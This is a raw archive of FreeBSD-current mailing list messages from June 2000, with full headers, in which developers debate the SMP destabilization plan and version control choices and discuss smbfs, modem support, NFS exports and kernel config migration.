Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 9: 6:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (dhcp110.conference.usenix.org [209.179.127.110]) by hub.freebsd.org (Postfix) with ESMTP id 7579037BECB for ; Wed, 21 Jun 2000 09:06:08 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id XAA00521; Tue, 20 Jun 2000 23:47:08 -0700 (PDT) (envelope-from grog) Date: Tue, 20 Jun 2000 23:47:08 -0700 From: Greg Lehey To: Warner Losh Cc: Poul-Henning Kamp , Jason Evans , current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development Message-ID: <20000620234708.E308@sydney.worldwide.lemis.com> References: <54765.961526967@critter.freebsd.dk> <200006201857.MAA71034@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006201857.MAA71034@harmony.village.org> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 20 June 2000 at 12:57:41 -0600, Warner Losh wrote: > In message <54765.961526967@critter.freebsd.dk> Poul-Henning Kamp writes: >> I think core has approved in principle, and several core members >> were present at the meeting (at least peter, dg, gibbs, dfr), that >> being said, I think we need to see some more concrete info before >> we pull the lever, just so we know what to expect. > > I'd like to see an explicit vote saying that current can be broken for > months for SP users so the MP work can go in. It has often been said > that individual core members do not speak for core. I'm quite happy to accept a majority vote of -core. >>> The instability ni -current for MONTHS is pain not acceptible. >> >> Sorry, Warner, but progress has its price, and this may be it. > > I don't think so. I've done all the NEWCARD work in the tree, and it > hasn't broken anything else (at least not for more than a few hours > when I screwed up). It has been painful for me to do it that way, but > I think that some consideration should be given for the transition > period for SP users. > > A few days or weeks I don't have a prblem with, but a few months is > flat not acceptible. It is too long. If the code is that green, then > some other mechanism needs to be used to facilitate collaberative > working. > > I'd rather see a firm deadline proposed (eg, we'll commit the core on > June 26, and will be done by Aug 26) so that I know what to expect > rather than having the nebulous a few months phrase kicked around. I > expected the newcard stuff to be working in a few months, and it has > been about 8 so far. This was one of the points we discussed. I was very much in favour of a longer period so that people like you could commit their changes. On the other hand, I think that the breakage will be relative, and it will be less for SP systems than for SMP systems. Certainly I think that Matt and I need to get our act together (i.e. a system which at least limps) before we commit anything; possibly people were a little too optimistic about how quickly we could do things when we broke up on Friday. > Also, what if the new MP core goes in and one or more of the key > players all of a sudden have no time to finish this due to unforseen > circumstances? Will the tree remain broken while they sort this > out? Maybe. It depends on the circumstances and the preparedness of others to fix it. But I do think that we're entering a new phase of software development with this project: for the first time we have a project manager (Jason Evans), and I'd expect him to drum up some support, from BSDi if necessary. Note that Chuck Patterson is slated to help us with 50% of his working time until we get this rickety framework to fly. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 9: 7:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (dhcp110.conference.usenix.org [209.179.127.110]) by hub.freebsd.org (Postfix) with ESMTP id E6FA337BEDA for ; Wed, 21 Jun 2000 09:07:09 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id XAA00501; Tue, 20 Jun 2000 23:39:36 -0700 (PDT) (envelope-from grog) Date: Tue, 20 Jun 2000 23:39:36 -0700 From: Greg Lehey To: Martin Cracauer Cc: Poul-Henning Kamp , Jason Evans , Matthew Dillon , current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) Message-ID: <20000620233936.D308@sydney.worldwide.lemis.com> References: <20000619180113.G79318@blitz.canonware.com> <51028.961486917@critter.freebsd.dk> <20000620111624.A58545@cons.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000620111624.A58545@cons.org> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 20 June 2000 at 11:16:24 +0200, Martin Cracauer wrote: > In <51028.961486917@critter.freebsd.dk>, Poul-Henning Kamp wrote: >> >> Am I the only person who miss a brief document which tells what >> the outcome of the meeting was ? > > Who was there, anyway? From my trip report. This can hardly be confidential. Participants were: Don Brady Apple Computer File systems Ramesh Apple Computer Ted Walker Apple Computer network drivers Jeffrey Hsu FreeBSD project Chuck Paterson BSDi Chief developer Jonathan Lemon Cisco, FreeBSD project Matt Dillon FreeBSD project VM, NFS Paul Saab Yahoo! Kirk McKusick Peter Wemm Yahoo! Jayanth Yahoo! Doug Rabson FreeBSD project Alpha port Jason Evans FreeBSD project kernel threads David Greenman FreeBSD project chief architect Justin Gibbs Adaptec, FreeBSD project SCSI, 0 copy TCP Greg Lehey Linuxcare, FreeBSD project storage management Mike Smith BSDi, FreeBSD project hardware, iA64 port Alfred Perlstein Wintel, FreeBSD project David O'Brien BSDi, FreeBSD project compilers, binutils Ceren Ercen Linuxcare Daemon babe Look also at http://ziplok.dyndns.org/msmith/SMPng/. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 11:15:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id E070637B865 for ; Wed, 21 Jun 2000 11:15:26 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id LAA12086; Wed, 21 Jun 2000 11:15:12 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: Boris Popov Cc: "Brandon D. Valentine" , kit , freebsd-current@FreeBSD.ORG Subject: Re: smbfs second mount In-reply-to: Your message of "Wed, 21 Jun 2000 08:34:34 +0700." Date: Wed, 21 Jun 2000 11:15:12 -0700 Message-ID: <12083.961611312@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think it should *definitely* be in the base system. :) > On Sun, 18 Jun 2000, Brandon D. Valentine wrote: > > > Out of curiosity, are there any plans to commit the smbfs stuff? It is > > really useful and I'd love to see it in the base system. > > Yes, I'm get much more responses about smbfs compared to nwfs. So, > probably it should be in the base system. > > -- > Boris Popov > http://www.butya.kz/~bp/ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 11:48:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 3338B37C012 for ; Wed, 21 Jun 2000 11:48:40 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id LAA12216; Wed, 21 Jun 2000 11:45:48 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: Robert Withrow Cc: Poul-Henning Kamp , Brian Somers , Matthew Dillon , Warner Losh , Jason Evans , current@FreeBSD.ORG, brian@hak.lan.Awfulhak.org Subject: Re: HEADS UP: Destabilization due to SMP development In-reply-to: Your message of "Wed, 21 Jun 2000 09:49:27 EDT." <200006211349.JAA02411@pobox.engeast.BayNetworks.COM> Date: Wed, 21 Jun 2000 11:45:48 -0700 Message-ID: <12213.961613148@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Everyone talks about using bitkeeper but none of the people who recommend it have ever actually tried to use it for anything. Before such recommendations will bear weight, this needs to change. :) - Jordan > > phk@critter.freebsd.dk said: > :- "CVS branches suck" is the reason I belive. > > Bitkeeper? > > -- > Robert Withrow -- (+1 978 288 8256) > BWithrow@BayNetworks.com > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 11:59:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id EDD7C37C060 for ; Wed, 21 Jun 2000 11:59:18 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA46570; Wed, 21 Jun 2000 12:57:33 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA82369; Wed, 21 Jun 2000 12:56:00 -0600 (MDT) Message-Id: <200006211856.MAA82369@harmony.village.org> To: "Jordan K. Hubbard" Subject: Re: HEADS UP: Destabilization due to SMP development Cc: Robert Withrow , Poul-Henning Kamp , Brian Somers , Matthew Dillon , Jason Evans , current@FreeBSD.ORG, brian@hak.lan.Awfulhak.org In-reply-to: Your message of "Wed, 21 Jun 2000 11:45:48 PDT." <12213.961613148@localhost> References: <12213.961613148@localhost> Date: Wed, 21 Jun 2000 12:56:00 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <12213.961613148@localhost> "Jordan K. Hubbard" writes: : Everyone talks about using bitkeeper but none of the people who : recommend it have ever actually tried to use it for anything. : Before such recommendations will bear weight, this needs to : change. :) In that case, I'd recommend perforce :-) I used it extensively at Pluto while I was there. I'd love to see FreeBSD use it. The non-open source ness of it is a bummer, but how much pain are we willing to tolerate for our ideals? :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 12: 4:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id C528437C042; Wed, 21 Jun 2000 12:04:32 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA46614; Wed, 21 Jun 2000 13:04:30 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA82448; Wed, 21 Jun 2000 13:02:57 -0600 (MDT) Message-Id: <200006211902.NAA82448@harmony.village.org> To: Eaglez Subject: Re: Unknown Devices Cc: John Hengstler , freebsd-current@FreeBSD.ORG, hardware@FreeBSD.ORG In-reply-to: Your message of "Sun, 04 Jun 2000 21:19:51 PDT." <20000605041951.1843.qmail@web115.yahoomail.com> References: <20000605041951.1843.qmail@web115.yahoomail.com> Date: Wed, 21 Jun 2000 13:02:57 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000605041951.1843.qmail@web115.yahoomail.com> Eaglez writes: : Well, i'm not sure about 5.0's new funky support (i : mean, if it supports the SB Live, who knows), but in : the past, PCI modems have never been supported, : because they all tend to be win modems (only MS : windows drivers available). I'd advise possibly an : external modem. (Hey, they're probably still cheaper : than USB modems, although i'd go with that if it IS : somehow cheaper.) PCI modems have been supported since just after 4.0 was released. They *MUST* be controller based. There are only two or three of these in the marketplace. > pci0: (vendor=0x11c1, dev=0x0441) at 0x11c1 is actiontec. 0x0441 is not the one known good device. 0x0480 is that one. 0x0441 is, I think, the winmodem version, which sadly we cannot support at this time. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 12: 5:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 8147837C08E; Wed, 21 Jun 2000 12:05:31 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA46626; Wed, 21 Jun 2000 13:05:27 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA82467; Wed, 21 Jun 2000 13:03:54 -0600 (MDT) Message-Id: <200006211903.NAA82467@harmony.village.org> To: Mike Smith Subject: Re: Unknown Devices Cc: Eaglez , John Hengstler , freebsd-current@FreeBSD.ORG, hardware@FreeBSD.ORG In-reply-to: Your message of "Mon, 05 Jun 2000 08:23:53 PDT." <200006051523.IAA17373@mass.cdrom.com> References: <200006051523.IAA17373@mass.cdrom.com> Date: Wed, 21 Jun 2000 13:03:54 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006051523.IAA17373@mass.cdrom.com> Mike Smith writes: : Watch out - some USB modems are also WinModems. usb tty and modems aren't supported, as far as I know. How can you tell the usb modems that are win modems? And can y ou get docs on them? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 12:35:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 46F5C37B951 for ; Wed, 21 Jun 2000 12:35:16 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id VAA31186; Wed, 21 Jun 2000 21:34:51 +0200 (CEST) (envelope-from sos) From: Soren Schmidt Message-Id: <200006211934.VAA31186@freebsd.dk> Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <200006211856.MAA82369@harmony.village.org> from Warner Losh at "Jun 21, 2000 12:56:00 pm" To: imp@village.org (Warner Losh) Date: Wed, 21 Jun 2000 21:34:51 +0200 (CEST) Cc: jkh@zippy.osd.bsdi.com (Jordan K. Hubbard), bwithrow@nortelnetworks.com (Robert Withrow), phk@critter.freebsd.dk (Poul-Henning Kamp), brian@Awfulhak.org (Brian Somers), dillon@apollo.backplane.com (Matthew Dillon), jasone@canonware.com (Jason Evans), current@FreeBSD.ORG, brian@hak.lan.Awfulhak.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Warner Losh wrote: > In message <12213.961613148@localhost> "Jordan K. Hubbard" writes: > : Everyone talks about using bitkeeper but none of the people who > : recommend it have ever actually tried to use it for anything. > : Before such recommendations will bear weight, this needs to > : change. :) > > In that case, I'd recommend perforce :-) I used it extensively at > Pluto while I was there. I'd love to see FreeBSD use it. The > non-open source ness of it is a bummer, but how much pain are we > willing to tolerate for our ideals? :-) Alot. Using a non opensource commercial version control system is just to ask for bad carma, extended murphy fields and whatnot in an opensource volounteer project... -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 12:51:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from lafontaine.cybercable.fr (lafontaine.cybercable.fr [212.198.0.202]) by hub.freebsd.org (Postfix) with SMTP id 5F30137B51A for ; Wed, 21 Jun 2000 12:51:13 -0700 (PDT) (envelope-from root@gits.dyndns.org) Received: (qmail 180220 invoked from network); 21 Jun 2000 19:51:01 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by lafontaine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 21 Jun 2000 19:51:01 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id VAA20640; Wed, 21 Jun 2000 21:50:59 +0200 (CEST) (envelope-from root) Posted-Date: Wed, 21 Jun 2000 21:50:59 +0200 (CEST) To: current@FreeBSD.ORG Subject: Re: mount_nfs/df bug? References: <20000620234825.A31951@cichlids.cichlids.com> <20000621091435.A15534@walton.maths.tcd.ie> Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 21 Jun 2000 21:50:57 +0200 In-Reply-To: David Malone's message of "Wed, 21 Jun 2000 09:14:35 +0100" Message-ID: Lines: 17 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Canyonlands" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Malone writes: > On Wed, Jun 21, 2000 at 02:35:51AM +0200, Cyrille Lefevre wrote: > > > why there isn't an exportfs command as most unices have ? > > "killall -HUP mountd" or "mount -u /" both work. This is mentioned > in the mountd man page, but should probably also be mentioned in > the exports man page. well, what about exporting a directory w/o exporting a filesystem ? which is usefull somethimes. possible too ? Cyrille. -- home:mailto:clefevre@no-spam.citeweb.net Supprimer "no-spam." pour me repondre. work:mailto:Cyrille.Lefevre@no-spam.edf.fr Remove "no-spam." to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 13: 4:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 5C5F837B695; Wed, 21 Jun 2000 13:04:07 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA46924; Wed, 21 Jun 2000 14:04:00 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA83024; Wed, 21 Jun 2000 14:02:26 -0600 (MDT) Message-Id: <200006212002.OAA83024@harmony.village.org> To: Mike Smith Subject: Re: VMware detection code in boot loader Cc: Luoqi Chen , dcs@newsguy.com, current@FreeBSD.ORG, emulation@FreeBSD.ORG In-reply-to: Your message of "Tue, 13 Jun 2000 10:10:59 PDT." <200006131710.KAA22395@mass.cdrom.com> References: <200006131710.KAA22395@mass.cdrom.com> Date: Wed, 21 Jun 2000 14:02:26 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006131710.KAA22395@mass.cdrom.com> Mike Smith writes: : > a larger issue. It is not the loader's job to detect the underlying : > hardware configuration. : : Actually, in a broad fashion, it _is_. This is why the loader : understands PCI and PnP, for example. How hard would it be to add usb and pccard support? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 13: 4:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from morpheus.skynet.be (morpheus.skynet.be [195.238.2.39]) by hub.freebsd.org (Postfix) with ESMTP id EAB2437C104 for ; Wed, 21 Jun 2000 13:04:39 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [10.0.1.2] (dialup976.brussels2.skynet.be [194.78.238.144]) by morpheus.skynet.be (Postfix) with ESMTP id EF862DB56; Wed, 21 Jun 2000 22:04:35 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@pop.skynet.be Message-Id: In-Reply-To: <200006211934.VAA31186@freebsd.dk> References: <200006211934.VAA31186@freebsd.dk> Date: Wed, 21 Jun 2000 21:59:25 +0200 To: Soren Schmidt , imp@village.org (Warner Losh) From: Brad Knowles Subject: Re: HEADS UP: Destabilization due to SMP development Cc: current@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 9:34 PM +0200 2000/6/21, Soren Schmidt wrote: > Using a non opensource commercial version control system is just > to ask for bad carma, extended murphy fields and whatnot in an > opensource volounteer project... Has anyone given any thought to what it would take to create an open source version of something similar to perforce? ;-) -- These are my opinions -- not to be taken as official Skynet policy ====================================================================== Brad Knowles, || Belgacom Skynet SA/NV Systems Architect, Mail/News/FTP/Proxy Admin || Rue Colonel Bourg, 124 Phone/Fax: +32-2-706.13.11/12.49 || B-1140 Brussels http://www.skynet.be || Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 13: 6:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from camus.cybercable.fr (camus.cybercable.fr [212.198.0.200]) by hub.freebsd.org (Postfix) with SMTP id A549D37B673 for ; Wed, 21 Jun 2000 13:06:23 -0700 (PDT) (envelope-from root@gits.dyndns.org) Received: (qmail 764991 invoked from network); 21 Jun 2000 20:06:21 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by camus.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 21 Jun 2000 20:06:21 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id WAA21296; Wed, 21 Jun 2000 22:06:20 +0200 (CEST) (envelope-from root) Posted-Date: Wed, 21 Jun 2000 22:06:20 +0200 (CEST) To: current@FreeBSD.ORG Subject: Re: kernel config format migration script References: Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 21 Jun 2000 22:06:16 +0200 In-Reply-To: Brian Fundakowski Feldman's message of "Wed, 21 Jun 2000 08:47:24 -0700 (PDT)" Message-ID: Lines: 21 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Canyonlands" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brian Fundakowski Feldman writes: > I made a sed script to ease migration of kernel configuration files from > the few-weeks-ago-CURRENT to current-CURRENT, and thought I might as well > share it since it makes things easy (autonomous :) > > You can find it at > http://people.freebsd.org/~green/oldconfig2new > It requires extended regular expression support (because old regexps > are so cumbersome to actually _use_), so for example: > mv GREEN GREEN.old > perl gethints.pl GREEN > sed -Ef oldconfig2new GREEN.old > GREEN well, at 4.x, FreeBSD sed doesn't support -E, is that GNU sed which support this option or 5.x FreeBSD sed ? for instance, GNU sed port doesn't exists ! Cyrille. -- home:mailto:clefevre@no-spam.citeweb.net Supprimer "no-spam." pour me repondre. work:mailto:Cyrille.Lefevre@no-spam.edf.fr Remove "no-spam." to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 13:13:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 8209837C075 for ; Wed, 21 Jun 2000 13:13:03 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA46972; Wed, 21 Jun 2000 14:12:59 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA83111; Wed, 21 Jun 2000 14:11:24 -0600 (MDT) Message-Id: <200006212011.OAA83111@harmony.village.org> To: Andrzej Bialecki Subject: Re: HEADS UP!: config changes... Cc: "Daniel C. Sobral" , Peter Wemm , current@FreeBSD.ORG In-reply-to: Your message of "Wed, 21 Jun 2000 08:17:33 +0200." References: Date: Wed, 21 Jun 2000 14:11:24 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Andrzej Bialecki writes: : That's fine. However, this practically makes using /boot/loader : mandatory. I still wonder if having some in-kernel interpreter wouldn't : give us more choice, with exactly the same functionality. Of course, it : would have to be run before any probing starts... All you'd need to do, if you don't want to compile it statically into the kernel, is arrange to read a file in from disk. With minor mods, you could read the entire environement which the hints mechanism now uses. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 13:25:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from postfix3.free.fr (postfix3.free.fr [212.27.32.22]) by hub.freebsd.org (Postfix) with ESMTP id 5884637C073 for ; Wed, 21 Jun 2000 13:25:09 -0700 (PDT) (envelope-from jaco@titine.fr.eu.org) Received: from titine.fr.eu.org (toulouse-1-4-77.dial.proxad.net [213.228.4.77]) by postfix3.free.fr (Postfix) with ESMTP id 2E43286C4C; Wed, 21 Jun 2000 22:24:59 +0200 (CEST) Received: by titine.fr.eu.org (Postfix, from userid 1000) id 5A8101494E; Wed, 21 Jun 2000 22:24:10 +0200 (CEST) X-Attribution: Jaco To: clefevre@citeweb.net Cc: current@FreeBSD.ORG Subject: Re: kernel config format migration script References: From: Eric Jacoboni Date: 21 Jun 2000 22:24:09 +0200 In-Reply-To: Cyrille Lefevre's message of "21 Jun 2000 22:06:16 +0200" Message-ID: <874s6mbx5i.fsf@titine.fr.eu.org> Lines: 12 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Cyrille" =3D=3D Cyrille Lefevre write= s: Cyrille> well, at 4.x, FreeBSD sed doesn't support -E, is that GNU sed Cyrille> which support this option or 5.x FreeBSD sed ? for instance, Cyrille> GNU sed port doesn't exists ! FreeBSD-Current sed supports -E option... --=20 --------------------------------------------------------- =C9ric Jacoboni =AB No sport, cigars! =BB (W. Churchill) --------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 14: 0:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from bugg.strangled.net (c705742-a.htfdw1.ct.home.com [24.2.137.94]) by hub.freebsd.org (Postfix) with ESMTP id 2098E37B6DB for ; Wed, 21 Jun 2000 14:00:41 -0700 (PDT) (envelope-from bugg@bugg.strangled.net) Received: (from bugg@localhost) by bugg.strangled.net (8.9.3/8.9.3) id RAA42895; Wed, 21 Jun 2000 17:00:31 -0400 (EDT) (envelope-from bugg) Date: Wed, 21 Jun 2000 17:00:30 -0400 From: Dan Papasian To: Brad Knowles Cc: current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development Message-ID: <20000621170030.A42793@moe.c705742-a.htfdw1.ct.home.com> References: <200006211934.VAA31186@freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from blk@skynet.be on Wed, Jun 21, 2000 at 09:59:25PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Eivind Elkund was talking about doing something like this. He had a pretty nice document about it, too. If I recall, the name was "OVCS: Open Version Control System" Perhaps someone could fill in the blanks? I couldn't find the document at the address I thought it was kept, http://yes.no/perhaps/ I don't believe he had any code the last time we talked about it. I do recall reading that he's using his time off to work on OVCS. While I still don't think he has anything usable, you'd want to get in touch with him to reduce duplicated effort. -Dan On Wed, Jun 21, 2000 at 09:59:25PM +0200, Brad Knowles wrote: > At 9:34 PM +0200 2000/6/21, Soren Schmidt wrote: > > > Using a non opensource commercial version control system is just > > to ask for bad carma, extended murphy fields and whatnot in an > > opensource volounteer project... > > Has anyone given any thought to what it would take to create an > open source version of something similar to perforce? ;-) > > -- > These are my opinions -- not to be taken as official Skynet policy > ====================================================================== > Brad Knowles, || Belgacom Skynet SA/NV > Systems Architect, Mail/News/FTP/Proxy Admin || Rue Colonel Bourg, 124 > Phone/Fax: +32-2-706.13.11/12.49 || B-1140 Brussels > http://www.skynet.be || Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 